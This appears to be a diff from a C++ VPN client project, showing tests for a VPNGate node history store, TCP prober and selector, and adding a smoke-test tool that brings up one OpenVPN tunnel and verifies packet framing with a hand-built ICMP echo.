CHECK_EQ(s.consecutive_failures, uint32_t(1));
CHECK_NEAR(s.success_rate(), 2.0 / 3.0, 1e-12);
// EWMA sits between the two samples, nearer the recent one.
CHECK_GT(s.ewma_rtt_ms, 50.0);
CHECK_LT(s.ewma_rtt_ms, 70.0);
}
OVG_TEST(HistorySuccessClearsConsecutiveFailures) {
SelectorConfig cfg;
HistoryStore h("", cfg);
h.record_failure("n@1");
h.record_failure("n@1");
CHECK(h.is_backed_off("n@1"));
h.record_success("n@1", 20);
CHECK_EQ(h.get("n@1").consecutive_failures, uint32_t(0));
CHECK(!h.is_backed_off("n@1"));
}
OVG_TEST(HistoryBackoffGrowsAndIsCapped) {
SelectorConfig cfg;
cfg.failure_backoff_initial = Millis(1000);
cfg.failure_backoff_max = Millis(8000);
HistoryStore h("", cfg);
h.record_failure("n@1");
const auto one = h.backoff_remaining("n@1");
CHECK_GT(one.count(), int64_t(0));
CHECK(one.count() <= 1000);
h.record_failure("n@1");
CHECK_GT(h.backoff_remaining("n@1").count(), one.count());
// Far past the cap: must not overflow or explode.
for (int i = 0; i < 60; ++i) h.record_failure("n@1");
CHECK(h.backoff_remaining("n@1").count() <= 8000);
CHECK_GT(h.backoff_remaining("n@1").count(), int64_t(0));
}
OVG_TEST(HistoryRoundTripsThroughDisk) {
const auto path = temp_path("history.tsv");
SelectorConfig cfg;
{
HistoryStore h(path, cfg);
h.record_success("alpha@1.1.1.1", 42);
h.record_failure("beta@2.2.2.2");
h.record_throughput("alpha@1.1.1.1", 1000000);
h.save();
}
{
HistoryStore h(path, cfg);
h.load();
CHECK_EQ(h.size(), size_t(2));
const auto a = h.get("alpha@1.1.1.1");
CHECK_EQ(a.successes, uint32_t(1));
CHECK_NEAR(a.ewma_rtt_ms, 42.0, 1e-6);
CHECK_NEAR(a.ewma_throughput_bps, 1000000.0, 1.0);
CHECK_EQ(h.get("beta@2.2.2.2").failures, uint32_t(1));
}
std::filesystem::remove(path);
}
OVG_TEST(HistorySurvivesCorruptLines) {
const auto path = temp_path("history_corrupt.tsv");
{
std::FILE *f = std::fopen(path.c_str(), "w");
CHECK(f != nullptr);
std::fputs("# header\n", f);
std::fputs("good@1.1.1.1 5 1 0 0 1700000000000 33.5 1000\n", f);
std::fputs("this line is nonsense\n", f);
std::fputs("also@2.2.2.2 1 0 0 0 1700000000000 12.0 500\n", f);
std::fclose(f);
}
SelectorConfig cfg;
HistoryStore h(path, cfg);
h.load();
// One bad line costs one node, not the file.
CHECK_EQ(h.size(), size_t(2));
CHECK_EQ(h.get("good@1.1.1.1").successes, uint32_t(5));
std::filesystem::remove(path);
}
// ---------------------------------------------------------------------------
// Prober
OVG_TEST(ProberMeasuresLocalListener) {
asio::io_context io;
asio::ip::tcp::acceptor acc(io, asio::ip::tcp::endpoint(
asio::ip::make_address("127.0.0.1"), 0));
acc.listen();
const uint16_t port = acc.local_endpoint().port();
// Accept and immediately drop; the prober only times the handshake.
std::function<void()> accept_one = [&] {
auto sock = std::make_shared<asio::ip::tcp::socket>(io);
acc.async_accept(*sock, [sock, &accept_one](std::error_code ec) {
if (!ec) accept_one();
});
};
accept_one();
SelectorConfig cfg;
cfg.probe_samples = 2;
cfg.probe_timeout = Millis(1000);
Prober prober(io, cfg);
std::vector<ProbeResult> got;
prober.probe({ProbeTarget{"live", "127.0.0.1", port},
// Port 1 on loopback: nothing listens, connect is refused fast.
ProbeTarget{"dead", "127.0.0.1", 1}},
[&](std::vector<ProbeResult> r) {
got = std::move(r);
acc.close();
});
io.run();
CHECK_EQ(got.size(), size_t(2));
CHECK_EQ(got[0].node_id, std::string("live"));
CHECK(got[0].reachable);
CHECK_EQ(got[0].samples_ok, 2);
CHECK(got[0].rtt_ms >= 0.0);
CHECK_EQ(got[1].node_id, std::string("dead"));
CHECK(!got[1].reachable);
}
OVG_TEST(ProberHandlesEmptyBatch) {
asio::io_context io;
SelectorConfig cfg;
Prober prober(io, cfg);
bool called = false;
prober.probe({}, [&](std::vector<ProbeResult> r) {
called = true;
CHECK(r.empty());
});
io.run();
CHECK(called);
}
OVG_TEST(ProberTimesOutOnBlackhole) {
// TEST-NET-1 (RFC 5737) is guaranteed not to be routable on a normal network,
// so the connect hangs and the timeout path is what completes the probe.
// Some sandboxes put a transparent proxy in front of all outbound TCP, which
// accepts everything and makes the case untestable; detect that and skip
// rather than assert something the environment cannot provide.
{
asio::io_context probe_io;
asio::ip::tcp::socket s(probe_io);
std::error_code ec = asio::error::would_block;
s.async_connect(
asio::ip::tcp::endpoint(asio::ip::make_address("192.0.2.1"), 443),
[&](std::error_code e) { ec = e; });
probe_io.run_for(std::chrono::milliseconds(300));
std::error_code ig;
s.close(ig);
if (!ec) SKIP("outbound TCP is transparently proxied here");
}
asio::io_context io;
SelectorConfig cfg;
cfg.probe_samples = 1;
cfg.probe_timeout = Millis(150);
Prober prober(io, cfg);
std::vector<ProbeResult> got;
prober.probe({ProbeTarget{"blackhole", "192.0.2.1", 443}},
[&](std::vector<ProbeResult> r) { got = std::move(r); });
io.run();
CHECK_EQ(got.size(), size_t(1));
CHECK(!got[0].reachable);
}
// ---------------------------------------------------------------------------
// Selector, end to end over the real captured feed
namespace {
// A NodeStore primed from the sample CSV via its disk cache. The API URL points
// at a dead port so no network fetch can succeed, and we never run the
// io_context far enough for one to be attempted.
std::unique_ptr<vpngate::NodeStore> primed_store(asio::io_context &io) {
VpnGateConfig vg;
vg.api_urls = {"http://127.0.0.1:1/"};
vg.cache_path = ovgtest::data_path("vpngate_sample.csv");
vg.cache_max_age = std::chrono::hours(24 * 3650);
auto store = std::make_unique<vpngate::NodeStore>(io, vg);
store->start();
return store;
}
} // namespace
OVG_TEST(SelectorRanksTheRealFeedWithoutProbing) {
asio::io_context io;
auto store = primed_store(io);
CHECK(store->has_nodes());
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, *store, history);
SelectRequest req;
req.want = 5;
req.probe = false;
std::vector<Candidate> got;
bool called = false;
sel.select(req, [&](std::vector<Candidate> c) {
called = true;
got = std::move(c);
});
CHECK(called); // the no-probe path must complete synchronously
CHECK_EQ(got.size(), size_t(5));
// Ordered best-first, and each carries the profile the tunnel will need.
for (size_t i = 1; i < got.size(); ++i) CHECK(got[i - 1].score >= got[i].score);
for (const auto &c : got) {
CHECK(!c.node.profile.empty());
CHECK(!c.node.remotes.empty());
CHECK(!c.probed);
CHECK(c.reachable);
}
store->stop();
}
OVG_TEST(SelectorHonoursExclusions) {
asio::io_context io;
auto store = primed_store(io);
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, *store, history);
SelectRequest first;
first.want = 3;
first.probe = false;
std::vector<Candidate> a;
sel.select(first, [&](std::vector<Candidate> c) { a = std::move(c); });
CHECK_EQ(a.size(), size_t(3));
// Exclude the winner -- this is what the switch controller does with the
// incumbent and with anything already draining.
SelectRequest second;
second.want = 3;
second.probe = false;
second.exclude_ids = {a[0].node.id()};
std::vector<Candidate> b;
sel.select(second, [&](std::vector<Candidate> c) { b = std::move(c); });
CHECK_EQ(b.size(), size_t(3));
for (const auto &c : b) CHECK_NE(c.node.id(), a[0].node.id());
CHECK_EQ(b[0].node.id(), a[1].node.id());
store->stop();
}
OVG_TEST(SelectorRescoreMatchesRanking) {
// The hysteresis check compares a rescored incumbent against fresh
// candidates, so the two paths must agree for an unprobed node.
asio::io_context io;
auto store = primed_store(io);
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, *store, history);
SelectRequest req;
req.want = 1;
req.probe = false;
std::vector<Candidate> got;
sel.select(req, [&](std::vector<Candidate> c) { got = std::move(c); });
CHECK_EQ(got.size(), size_t(1));
const auto again = sel.rescore(got[0].node.id());
CHECK(again.has_value());
CHECK_NEAR(again->score, got[0].score, 1e-12);
CHECK(!sel.rescore("no-such-node@0.0.0.0").has_value());
store->stop();
}
OVG_TEST(SelectorReportsNothingWhenNodeListIsEmpty) {
asio::io_context io;
VpnGateConfig vg;
vg.api_urls = {"http://127.0.0.1:1/"};
vg.cache_path = ""; // no cache, no network => no nodes
vpngate::NodeStore store(io, vg);
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, store, history);
bool called = false;
sel.select({}, [&](std::vector<Candidate> c) {
called = true;
CHECK(c.empty());
});
CHECK(called);
}
OVG_TEST(ProberRejectsNonLiteralHost) {
// Node hosts come from the .ovpn profile and are IP literals in practice.
// A name must be reported unreachable, not silently resolved -- resolving it
// here would be a DNS lookup outside the tunnel.
asio::io_context io;
SelectorConfig cfg;
Prober prober(io, cfg);
std::vector<ProbeResult> got;
prober.probe({ProbeTarget{"named", "vpn.example.com", 443}},
[&](std::vector<ProbeResult> r) { got = std::move(r); });
io.run();
CHECK_EQ(got.size(), size_t(1));
CHECK(!got[0].reachable);
CHECK_EQ(got[0].samples_ok, 0);
}
File diff suppressed because it is too large Load Diff
+401
View File
@@ -0,0 +1,401 @@
// Brings up one OpenVPN tunnel and reports what came back. Nothing above the
// ovpn module is involved -- no netstack, no SOCKS5.
//
// This exists because the design rests on one assumption that cannot be
// unit-tested: that openvpn3 is happy to treat a SOCK_DGRAM socketpair
// descriptor as its tun device, and that what arrives on our end is bare IP
// packets with no framing of its own. This tool proves or disproves that
// against a real server in about thirty seconds, and stays in the tree because
// the same question comes up again on every openvpn3 bump.
//
// ovg_tunnel_smoke [--csv FILE] [--node HOSTNAME] [--udp] [--seconds N]
//
// With no --csv it fetches the live VPNGate list. Exit status is 0 only if the
// tunnel came up and at least one IP packet arrived.
#include <asio.hpp>
#include <algorithm>
#include <chrono>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/http_get.h"
#include "common/logging.h"
#include "ovpn/tunnel_client.h"
#include "vpngate/csv_parser.h"
using namespace ovg;
namespace {
constexpr const char *kMod = "smoke";
std::string read_file(const std::string &path) {
std::string out;
std::FILE *f = std::fopen(path.c_str(), "rb");
if (!f) return out;
char buf[65536];
size_t n;
while ((n = std::fread(buf, 1, sizeof(buf), f)) > 0) out.append(buf, n);
std::fclose(f);
return out;
}
// Enough of an IP header decode to prove the framing assumption: if these
// fields are sane, what we are being handed really is a bare IP packet.
std::string describe_ip_packet(const uint8_t *p, size_t len) {
if (len < 1) return "empty";
const int version = p[0] >> 4;
if (version == 4) {
if (len < 20) return fmt::format("truncated IPv4 ({} bytes)", len);
const size_t ihl = (p[0] & 0x0f) * 4;
const size_t total = (size_t(p[2]) << 8) | p[3];
const int proto = p[9];
const auto addr = [](const uint8_t *a) {
return fmt::format("{}.{}.{}.{}", a[0], a[1], a[2], a[3]);
};
const char *pname = proto == 6 ? "TCP"
: proto == 17 ? "UDP"
: proto == 1 ? "ICMP"
: "?";
std::string s = fmt::format("IPv4 {} -> {} {} len={} (wire {})",
addr(p + 12), addr(p + 16), pname, total, len);
if (total != len) s += " <-- length mismatch!";
if (ihl < 20 || ihl > len) s += " <-- bad IHL";
return s;
}
if (version == 6) {
if (len < 40) return fmt::format("truncated IPv6 ({} bytes)", len);
return fmt::format("IPv6 next-header={} len={}", p[6], len);
}
// The interesting failure mode: a 4-byte tun_prefix would put a small
// integer here instead of an IP version nibble.
return fmt::format("NOT an IP packet: first bytes {:02x} {:02x} {:02x} {:02x} "
"(len {}) -- framing assumption is wrong",
len > 0 ? p[0] : 0, len > 1 ? p[1] : 0, len > 2 ? p[2] : 0,
len > 3 ? p[3] : 0, len);
}
uint16_t inet_checksum(const uint8_t *p, size_t len) {
uint32_t sum = 0;
for (size_t i = 0; i + 1 < len; i += 2) sum += (uint32_t(p[i]) << 8) | p[i + 1];
if (len & 1) sum += uint32_t(p[len - 1]) << 8;
while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
return static_cast<uint16_t>(~sum);
}
bool parse_ipv4(const std::string &s, uint8_t out[4]) {
unsigned a, b, c, d;
if (std::sscanf(s.c_str(), "%u.%u.%u.%u", &a, &b, &c, &d) != 4) return false;
if (a > 255 || b > 255 || c > 255 || d > 255) return false;
out[0] = uint8_t(a); out[1] = uint8_t(b); out[2] = uint8_t(c); out[3] = uint8_t(d);
return true;
}
// A complete IPv4 + ICMP echo request. Built by hand because the whole point
// is to put a real IP packet on the pipe without a netstack in the way: if the
// reply comes back, both directions of the framing assumption hold.
std::vector<uint8_t> build_icmp_echo(const std::string &src,
const std::string &dst, uint16_t id,
uint16_t seq) {
std::vector<uint8_t> pkt(20 + 8 + 16, 0);
uint8_t *ip = pkt.data();
ip[0] = 0x45; // IPv4, IHL 5
ip[2] = uint8_t(pkt.size() >> 8); // total length
ip[3] = uint8_t(pkt.size() & 0xff);
ip[4] = uint8_t(id >> 8); // identification
ip[5] = uint8_t(id & 0xff);
ip[6] = 0x40; // don't fragment
ip[8] = 64; // TTL
ip[9] = 1; // ICMP
if (!parse_ipv4(src, ip + 12) || !parse_ipv4(dst, ip + 16)) return {};
const uint16_t ipsum = inet_checksum(ip, 20);
ip[10] = uint8_t(ipsum >> 8);
ip[11] = uint8_t(ipsum & 0xff);
uint8_t *icmp = pkt.data() + 20;
icmp[0] = 8; // echo request
icmp[4] = uint8_t(id >> 8);
icmp[5] = uint8_t(id & 0xff);
icmp[6] = uint8_t(seq >> 8);
icmp[7] = uint8_t(seq & 0xff);
for (size_t i = 0; i < 16; ++i) icmp[8 + i] = uint8_t('a' + i);
const uint16_t icsum = inet_checksum(icmp, 8 + 16);
icmp[2] = uint8_t(icsum >> 8);
icmp[3] = uint8_t(icsum & 0xff);
return pkt;
}
struct Options {
std::string csv;
std::string node;
std::string ping = "8.8.8.8";
bool udp = false;
int seconds = 40;
};
bool parse_args(int argc, char **argv, Options *o) {
for (int i = 1; i < argc; ++i) {
const std::string a = argv[i];
const auto next = [&](std::string *dst) {
if (i + 1 >= argc) return false;
*dst = argv[++i];
return true;
};
if (a == "--csv") {
if (!next(&o->csv)) return false;
} else if (a == "--node") {
if (!next(&o->node)) return false;
} else if (a == "--ping") {
if (!next(&o->ping)) return false;
} else if (a == "--udp") {
o->udp = true;
} else if (a == "--seconds") {
std::string s;
if (!next(&s)) return false;
o->seconds = std::atoi(s.c_str());
} else {
std::fprintf(stderr,
"usage: %s [--csv FILE] [--node HOSTNAME] [--udp] "
"[--seconds N]\n",
argv[0]);
return false;
}
}
return true;
}
} // namespace
int main(int argc, char **argv) {
Options opt;
if (!parse_args(argc, argv, &opt)) return 2;
log::set_level(log::Level::Debug);
asio::io_context io;
// ---- node list ----------------------------------------------------------
std::string body;
if (!opt.csv.empty()) {
body = read_file(opt.csv);
if (body.empty()) {
LOG_ERROR(kMod, "cannot read {}", opt.csv);
return 2;
}
} else {
http::Options ho;
ho.timeout = std::chrono::seconds(30);
std::error_code fetch_ec;
http::async_get(io, "http://www.vpngate.net/api/iphone/", ho,
[&](std::error_code ec, http::Response resp) {
fetch_ec = ec;
body = std::move(resp.body);
});
io.run();
io.restart();
if (fetch_ec) {
LOG_ERROR(kMod, "fetching the node list failed: {}", fetch_ec.message());
return 2;
}
}
vpngate::ParseResult pr;
std::string err;
if (!vpngate::parse_node_list(body, &pr, &err)) {
LOG_ERROR(kMod, "node list is not parseable: {}", err);
return 2;
}
LOG_INFO(kMod, "{} nodes parsed -- {}", pr.nodes.size(), pr.stats.summary());
// ---- pick one -----------------------------------------------------------
// Deliberately not the selector: this tool is about the tunnel, and mixing
// in the scoring logic would make a failure ambiguous.
const vpngate::Node *chosen = nullptr;
const vpngate::Remote *remote = nullptr;
if (!opt.node.empty()) {
for (const auto &n : pr.nodes) {
if (n.host_name == opt.node || n.ip == opt.node) {
chosen = &n;
break;
}
}
if (!chosen) {
LOG_ERROR(kMod, "no node matching '{}'", opt.node);
return 2;
}
remote = chosen->pick_remote(opt.udp);
} else {
// Highest VPNGate score that offers the protocol we want.
int64_t best = -1;
for (const auto &n : pr.nodes) {
const vpngate::Remote *r = n.pick_remote(opt.udp);
if (!r) continue;
if (opt.udp && r->proto != vpngate::Proto::Udp) continue;
if (n.api.score > best) {
best = n.api.score;
chosen = &n;
remote = r;
}
}
}
if (!chosen || !remote) {
LOG_ERROR(kMod, "no usable node found");
return 2;
}
LOG_INFO(kMod, "trying {} ({}, score {}) via {}:{}/{}", chosen->id(),
chosen->country_short, chosen->api.score, remote->host, remote->port,
vpngate::proto_name(remote->proto));
// ---- connect ------------------------------------------------------------
OvpnConfig cfg;
cfg.connect_timeout_s = 25;
cfg.tunnel_up_timeout_s = 35;
auto tc = ovpn::TunnelClient::create(io, cfg);
if (!ovpn::TunnelClient::supported()) {
LOG_ERROR(kMod, "this build has no openvpn3 (-DOVG_WITH_TUNNEL=ON)");
return 2;
}
bool came_up = false;
bool finished = false;
size_t packets = 0;
size_t echo_replies = 0;
std::vector<uint8_t> buf(ovpn::kMaxPacketSize);
// Reads whatever the tunnel delivers and decodes just enough of each packet
// to show that the framing is what we assumed.
std::function<void()> read_one = [&] {
tc->pipe().socket().async_receive(
asio::buffer(buf), [&](std::error_code ec, size_t n) {
if (ec) {
if (ec != asio::error::operation_aborted)
LOG_INFO(kMod, "tun read ended: {}", ec.message());
return;
}
tc->pipe().note_received(n);
// ICMP echo reply: type 0 at the start of the payload.
if (n >= 28 && (buf[0] >> 4) == 4 && buf[9] == 1 &&
buf[(buf[0] & 0x0f) * 4] == 0)
++echo_replies;
if (++packets <= 12)
LOG_INFO(kMod, "rx #{}: {}", packets,
describe_ip_packet(buf.data(), n));
else if (packets % 200 == 0)
LOG_INFO(kMod, "rx {} packets", packets);
read_one();
});
};
asio::steady_timer pinger(io);
uint16_t seq = 0;
std::string tun_ip;
std::function<void()> ping_once = [&] {
const auto pkt = build_icmp_echo(tun_ip, opt.ping, 0x4f56, ++seq);
if (pkt.empty()) {
LOG_ERROR(kMod, "cannot build an echo request for {} -> {}", tun_ip,
opt.ping);
return;
}
const auto st = tc->pipe().send_packet(pkt.data(), pkt.size());
LOG_INFO(kMod, "tx echo request #{} {} -> {} ({} bytes): {}", seq, tun_ip,
opt.ping, pkt.size(),
st == ovpn::PacketPipe::SendStatus::Ok ? "queued"
: st == ovpn::PacketPipe::SendStatus::Dropped ? "DROPPED"
: "PIPE CLOSED");
pinger.expires_after(std::chrono::seconds(2));
pinger.async_wait([&](std::error_code ec) {
if (!ec) ping_once();
});
};
asio::steady_timer deadline(io);
// Everything that keeps the io_context alive has to be taken down together,
// the pending tun read included: leaving it armed means the final drain
// never returns.
auto shutdown = [&] {
deadline.cancel();
pinger.cancel();
if (tc->pipe().is_open()) {
std::error_code ignored;
tc->pipe().socket().cancel(ignored);
}
tc->stop([&] { finished = true; });
};
deadline.expires_after(std::chrono::seconds(opt.seconds));
deadline.async_wait([&](std::error_code ec) {
if (ec) return;
LOG_INFO(kMod, "{}s elapsed, shutting down", opt.seconds);
shutdown();
});
if (!tc->start(*chosen, *remote, [&](ovpn::TunnelState st,
const ovpn::TunnelInfo &info,
const std::string &detail) {
LOG_INFO(kMod, "state -> {}{}{}", ovpn::tunnel_state_name(st),
detail.empty() ? "" : ": ", detail);
if (st == ovpn::TunnelState::Up) {
came_up = true;
LOG_INFO(kMod,
"pushed: ip={}/{} gw={} mtu={} dns=[{}] redirect_gw={} "
"routes={} server={}",
info.ipv4, info.prefix4, info.gateway4, info.mtu,
fmt::join(info.dns, ","), info.redirect_gateway,
info.routes.size(), info.server_ip);
// A tunnel that comes up but carries nothing is the failure this
// tool is really looking for. Nothing else generates traffic here,
// so send something that has to be answered.
tun_ip = info.ipv4;
ping_once();
} else if (st == ovpn::TunnelState::Down) {
shutdown();
}
},
&err)) {
LOG_ERROR(kMod, "start failed: {}", err);
return 2;
}
// Only now: pipe() is guaranteed valid from a successful start(), not before.
read_one();
while (!finished && !io.stopped()) {
if (io.run_one() == 0) break;
}
io.run(); // drain the stop callback
const auto ctr = tc->pipe().counters();
LOG_INFO(kMod,
"result: up={} tx={} pkts/{} B (dropped {}) rx={} pkts/{} B, "
"{} echo replies",
came_up, ctr.tx_packets, ctr.tx_bytes, ctr.tx_dropped,
ctr.rx_packets, ctr.rx_bytes, echo_replies);
if (!came_up) {
LOG_ERROR(kMod, "tunnel never came up");
return 1;
}
if (ctr.rx_packets == 0) {
LOG_ERROR(kMod,
"tunnel came up but no IP packet ever arrived on the pipe -- "
"the socketpair-as-tun assumption needs re-checking");
return 1;
}
if (echo_replies == 0) {
LOG_ERROR(kMod,
"packets arrive but none of them answered our echo requests; "
"the node may be filtering ICMP, so this is inconclusive rather "
"than a verdict on the tun plumbing");
return 1;
}
LOG_INFO(kMod,
"OK: openvpn3 took the socketpair as its tun, our hand-built IP "
"packet reached {} and the reply came back unframed",
opt.ping);
return 0;
}
View File